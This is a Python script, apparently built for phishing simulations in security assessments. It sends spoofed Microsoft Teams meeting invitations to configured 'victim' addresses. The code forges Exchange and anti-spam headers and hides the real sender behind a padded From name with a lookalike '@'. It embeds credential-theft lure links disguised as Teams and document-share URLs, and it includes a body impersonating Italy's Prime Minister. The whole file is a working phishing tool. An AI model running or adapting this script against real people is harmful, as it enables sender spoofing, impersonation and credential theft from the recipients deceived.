import smtplib
import email
from email.message import EmailMessage
import email.utils
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from email.utils import formataddr
from email.header import Header

from datetime import datetime, timedelta
import sys
import pytz

from urllib.parse import quote
from urllib.parse import urlparse
from urllib.parse import urlencode
import quopri

import time

import ssl

from smtplib import SMTP_SSL as SMTP


def generate_ics(title, location, description, start_date, end_date, organizer, attendees):
    
    attendee_lines = "".join([
        f"ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=TRUE;CN={att};X-NUM-GUESTS=0:mailto:{att}" + "\n"
        for att in attendees
    ])

    ics_content = "" + \
        "BEGIN:VCALENDAR\n" + \
        "PRODID:Microsoft Exchange Server 2010\n" + \
        "VERSION:2.0\n" + \
        "CALSCALE:GREGORIAN\n" + \
        "METHOD:REQUEST\n" + \
        "BEGIN:VEVENT\n" + \
        f"DTSTART;TZID=Europe/Rome:{start_date.strftime('%Y%m%dT%H%M%S')}" + "\n" \
        f"DTEND;TZID=Europe/Rome:{end_date.strftime('%Y%m%dT%H%M%S')}" + "\n" \
        f"DTSTAMP:{datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')}" + "\n" + \
        f"ORGANIZER;" + organizer[1] + "\n" + \
        f"UID:{datetime.utcnow().strftime('%Y%m%dT%H%M%S')}@example.com" + "\n" + \
        f"CREATED:{datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')}" + "\n" + \
        f"LAST-MODIFIED:{datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')}" + "\n" + \
        f"DESCRIPTION:invite" +  "\n" + \
        f"X-ALT-DESC;FMTTYPE=text/html:{description}" + "\n" + \
        f"LOCATION:{location}" + "\n" + \
        """SEQUENCE:0
LOCATION;LANGUAGE=en-US:Microsoft Teams Meeting
X-MICROSOFT-CDO-APPT-SEQUENCE:0
X-MICROSOFT-CDO-OWNERAPPTID:2123144937
X-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE
X-MICROSOFT-CDO-INTENDEDSTATUS:BUSY
X-MICROSOFT-CDO-ALLDAYEVENT:FALSE
X-MICROSOFT-CDO-IMPORTANCE:1
X-MICROSOFT-CDO-INSTTYPE:0
X-MICROSOFT-ONLINEMEETINGINFORMATION:{"OnlineMeetingChannelId":null\,"OnlineMeetingProvider":3}
X-MICROSOFT-SKYPETEAMSMEETINGURL:"""+location+"""19%3ameeting_NzM5MjE1MWEtOGZmYi00OTlkLTllZDMtNzBiMmYwOWZlZWNl%40thread.v2/0?context=%7b%22Tid%22%3a%224cde7cab-53ea-4cb8-9052-6748ece7567c%22%2c%22Oid%22%3a%227ef784c7-f09b-48fa-b11d-010f25a38369%22%7d
X-MICROSOFT-SCHEDULINGSERVICEUPDATEURL:https://webhook.site/6c0d74d4-7d3a-482a-9f9d-d470613c72a1
X-MICROSOFT-SKYPETEAMSPROPERTIES:{"cid":"19:meeting_NzM5MjE1MWEtOGZmYi00OTlkLTllZDMtNzBiMmYwOWZlZWNl@thread.v2"\,"rid":0\,"mid":0\,"uid":null\,"private":true\,"type":0}
X-MICROSOFT-DONOTFORWARDMEETING:FALSE
X-MICROSOFT-DISALLOW-COUNTER:FALSE
X-MICROSOFT-REQUESTEDATTENDANCEMODE:DEFAULT
X-MICROSOFT-ISRESPONSEREQUESTED:TRUE
X-MICROSOFT-LOCATIONDISPLAYNAME:Microsoft Teams Meeting
X-MICROSOFT-LOCATIONSOURCE:None
X-MS-OLK-FORCEINSERTEVENT: TRUE
X-MS-OLK-AUTOSTARTCHECK: TRUE
X-MICROSOFT-LOCATIONS:[{"DisplayName":"Microsoft Teams Meeting"\,"LocationAnnotation":""\,"LocationUri":"""+'"'+location+'"'+"""\,"LocationStreet":""\,"LocationCity":""\,"LocationState":""\,"LocationCountry":""\,"LocationPostalCode":""\,"LocationFullAddress":"""+'"'+location+'"'+"""}]\n""" + \
        "STATUS:CONFIRMED\n" + \
        "TRANSP:TRANSPARENT\n" + \
        "BEGIN:VALARM\n" + \
        "DESCRIPTION:This is an event reminder\n" + \
        "ACTION:EMAIL\n" + \
        "SUMMARY:Alarm notification\n" + \
        attendee_lines + \
        "TRIGGER:-P1DT7H0M0S\n" + \
        "END:VALARM\n" + \
        "END:VEVENT\n" + \
        "END:VCALENDAR\n"


    return ics_content


def invia_email(recipient_address, subject, bodytext, config, ics_filename="invite.ics", ics_content=None):
    SMTPserver = config.get("smtp_server")

    text_subtype = 'plain'

    sender = config.get("sender")
    password = config.get("password")

    msg = MIMEMultipart()

    smtp_port = config.get("smtp_port", 25)

    from_mail = config.get("from_mail", "")
    from_name = config.get("from_who")
    from_extra = config.get("from_extra","")
    if from_mail:
        from_mail = from_mail.replace("@", "＠")
        from_mail = f" <{from_mail}>"
    if from_extra:
        from_extra = f"{from_extra} "

    from_sx = f"{from_extra}{from_name}{from_mail} " + "_"*230
    from_header = formataddr((str(Header(from_sx, 'utf-8')), sender))

    msg['From'] = from_header
    msg['To'] = recipient_address
    msg['Subject'] = subject
    msg['Date'] = email.utils.formatdate(localtime=True)
    msg['Message-ID'] = email.utils.make_msgid()

    msg['Content-Class'] = "urn:content-classes:calendarmessage"
    msg['Accept-Language'] = 'it-IT, en-US'
    msg['Content-Language'] = 'it-IT'
    msg['X-MS-Has-Attach'] = ''
    msg['X-MS-TNEF-Correlator'] = ''
    msg['x-ms-exchange-calendar-series-instance-id'] = 'BAAAAIIA4AB0xbcQGoLgCAAAAAAEdrYHjj7cAQAAAAAAAAAAEAAAAJa6Ybwrd4VNh8AT7WmFFmA='
    msg['x-ms-traffictypediagnostic'] = 'PAXPR01MB10190:EE_MeetingMessage|AM7PR01MB7057:EE_MeetingMessage|AM2PEPF0001C708:EE_|AS8PR01MB7511:EE_|DU0PR01MB10209:EE_'
    msg['X-MS-Office365-Filtering-Correlation-Id'] = 'e4c4d637-bf43-4612-1b52-08de0ca52ea5'
    msg['x-ms-exchange-senderadcheck'] = '1'
    msg['x-ms-exchange-antispam-relay'] = '1'
    msg['X-MS-Exchange-Transport-CrossTenantHeadersStamped'] = 'AM7PR01MB7057'
    msg['X-Yatta'] = 'YATTA'


    cs = email.charset.Charset('utf-8')
    ics_inline = MIMEText(ics_content, "calendar;method=REQUEST", _charset=cs)
    ics_inline['Content-Disposition'] = f'inline; filename="{ics_filename}"'
    ics_inline['Content-Class'] = 'urn:content-classes:calendarmessage'
    msg.attach(ics_inline)


    """
    ics_part = MIMEBase('application', 'ics')
    ics_part.set_payload(ics_content.encode("utf-8"))
    # encoders.encode_base64(ics_part)
    ics_part.add_header('Content-Disposition', 'inline', filename='invite.ics')
    ics_part.add_header('Content-Type', 'text/calendar; method=REQUEST; name="invite.ics"')
    ics_part.add_header('Content-Class', 'urn:content-classes:calendarmessage')
    msg.attach(ics_part)
    """

    """
    attachment = MIMEBase('application', 'ics')
    attachment.set_payload(ics_content)
    encoders.encode_base64(attachment)
    attachment.add_header('Content-Disposition', f'attachment; filename={ics_filename}')
    msg.attach(attachment)


    msg.attach(MIMEText("ciaone", "plain", "utf-8"))
    """

    # TLS context comune
    ctx = ssl.create_default_context()
    ctx.minimum_version = ssl.TLSVersion.TLSv1_2
    ctx.check_hostname = True

    if smtp_port == 465:
        conn = smtplib.SMTP_SSL(SMTPserver, smtp_port, timeout=30, context=ctx)
        conn.ehlo()
    else:
        conn = smtplib.SMTP(timeout=30)

        try:
            smtplib.SMTP.context = None
            conn.context = None
        except Exception:
            pass

        conn.connect(SMTPserver, smtp_port)
        conn.set_debuglevel(1)
        conn.ehlo()

        if not getattr(conn, "_host", None):
            conn._host = SMTPserver

        if conn.has_extn("starttls"):
            conn.starttls(context=ctx)
            conn.ehlo()

    if password:
        conn.login(sender, password)
    else:
        conn.ehlo()

    conn.send_message(msg)
    conn.quit()

if __name__ == "__main__":
    recipients_addresses = []
    # CONFIG: SET ORGANIZER HERE
    #organizer = ["Giorgia Meloni <meloni_g@camera.it>", "CN=Giorgia Meloni:mailto:meloni_g@camera.it"]
    organizer = ["Massimiliano Dal Cero <massimiliano.dalcero@securityassessment.it", "CN=Massimiliano Dal Cero :mailto:massimiliano.dalcero@securityassessment.it"]
    
    # CONFIG: SET THE VICTIM EMAIL ADDRESS HERE
    recipients_addresses += ["Leonardo Da Vinci <leonardo.davinci@securityassessment.it>"]
    
    # CONFIG: EMAIL SUBJECT
    subject = "Important Meeting! ✅"
    
    # CONFIG: MEETING TITLE
    title = "Important Meeting!"
    
    # CONFIG: FIRST LINK USED IN THE ICAL BODY DESCRIPTION
    link = "https://www.digitaldefense.it/fraudteams/office365/"
    
    # CONFIG: SECOND LINK USED IN THE ICAL BODY DESCRIPTION
    link2 = "https://www.digitaldefense.it/fraudteams/steal_credentials/"
    
    
    
    # CONFIG: SMTP CONFIGURATION
    email_config = {
        "smtp_server": "smtp.yourserver.com",
        "smtp_port": 465,
        "sender": "<username>@<yourserver.com>",
        "password": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",

        "from_who": "Massimiliano Dal Cero",
        "from_mail": "massimiliano.dalcero＠securityassessment.it",
        
        #"from_extra": "🟢",
        "from_extra": "☑️",
    }
    

    # CONFIG: MESSAGE BODY FROM AN INTERNAL CONTACT
    bodytext_int = fr"""<html><body>
Hi Leonardo,<br/><br/>
As agreed, I’m sending you the invitation to join the meeting about that urgent matter I mentioned a few weeks ago.<br/><br/>
Call me when you can so I can explain.<br/><br/>

The study material for the meeting is available at the following address:<br/>
<a href="{link2}"><span title="shared by SecurityAssessment Spa"> https://www.securityassessment.it/share/doc/wms7sujj29yiusadhiuhu3iyeiuqyhd3qiuy</span></a><br/><br/>

Best Regards,<br/
Massimiliano Dal Cero<br/><br/>

To join the meeting:<br/>
<a href="{link}"><span title="join the meeting on Teams">Click here</span></a><br/><br/>
________________________________________________________________________________<br/>
Microsoft Teams Need help?<a href="{link}"><span title="Microsoft Teams Need help?">&lt;https://aka.ms/JoinTeamsMeeting?omkt=en-US&gt;</span></a><br/>
Join the meeting now<a href="{link}"><span title="Join">&lt;https://teams.microsoft.com/l/meetup-join/19%3ameeting_ZTgzYTVlZmMtZWQxYS00OTAzLWE4ZTYtMDRjNmJmNTFlOTRm%40thread.v2/0?context=%7b%22Tid%22%3a%226f4d6f55-cc3c-4fb9-8240-fe334070602c%22%2c%22Oid%22%3a%2279ee1f7e-288c-4b3d-b9c3-bdff227d51e4%22%7d&gt;</span></a><br/>
Meeting ID: 316 827 064 002 4<br/>
Passcode: Z8Zs3Zm6</br>
________________________________<br/>
For organizers: Meeting options<a href="{link}"><span title="Options">&lt;https://teams.microsoft.com/meetingOptions/?organizerId=79ee1f7e-288c-4b3d-b9c3-bdff227d51e4&tenantId=6f4d6f55-cc3c-4fb9-8240-fe334070602c&threadId=19_meeting_ZTgzYTVlZmMtZWQxYS00OTAzLWE4ZTYtMDRjNmJmNTFlOTRm@thread.v2&messageId=0&language=en-US&gt;</span></a><br/>
________________________________________________________________________________

<pre><sty
le>.OZZZK{{color: red}}</sty
le></pre>
</body></html>"""
    
    # CONFIG: MESSAGE BODY FROM AN EXTERNAL CONTACT
    bodytext_ext= f"""\
Dear Leonardo Da Vinci, good evening,<br/><br/>
I’m contacting you regarding a case of national importance that requires a prompt response.<br/>
Unfortunately, Mr. La Russa’s socks have been stolen.<br/>
We absolutely cannot allow him to walk barefoot through the halls of the institutions.<br/><br/>
For more information, we invite you to view the documentation we have prepared for you at this link:<br/>
    <a href="{link2}"> <span title="shared by camera.it"> https://condivisione.camera.it </span> </a><br/><br/>
I’m therefore sending you this invitation to participate in the operational meeting dedicated to “Operazione Calzini”.<br/><br/>
To join the meeting:<br/>
<a href="{link}"><span title="join the meeting on Microsoft Teams">Click here</span></a><br/><br/>
Best regards,<br/>
<b>Giorgia Meloni</b><br/>
President of the Council of Ministers of <b>Italy</b><br/>
Palazzo Chigi
"""

    # CONFIG: SELECT WHICH MESSAGE BODY TO SEND
    bodytext = bodytext_int
    #bodytext = bodytext_ext
    
    
    description = bodytext.replace("\n","\\n")
    location = f"{link}"

    year = 2025
    month = 10
    day = 23
    hours = [15]

    for hour in hours:
        for recipient_address in recipients_addresses:
            start_date = datetime(year, month, day, hour, 15, tzinfo=pytz.UTC)  # Orario UTC
            end_date   = datetime(year, month, day, hour, 30, tzinfo=pytz.UTC)

            ics_content = generate_ics(title, location, description, start_date, end_date, organizer, recipients_addresses)
            
            print("#"*80 + "\n")
            print("[+] Email sender log:")
            print(f"\t- Victim: {recipient_address}")
            print(f"\t- Spoofed contact: {email_config['from_who']} <{email_config['from_mail']}>")
            print(f"\t- Real sender: {email_config['sender']}")
            print(f"\t- Fraud link 1: {link}")
            print(f"\t- Fraud link 2: {link2}\n")
            print(f"\t- Body:\n{description}\n\n")
            invia_email(recipient_address, subject, bodytext, email_config, "invite.ics", ics_content)
            print("#"*80 + "\n")
            time.sleep(3)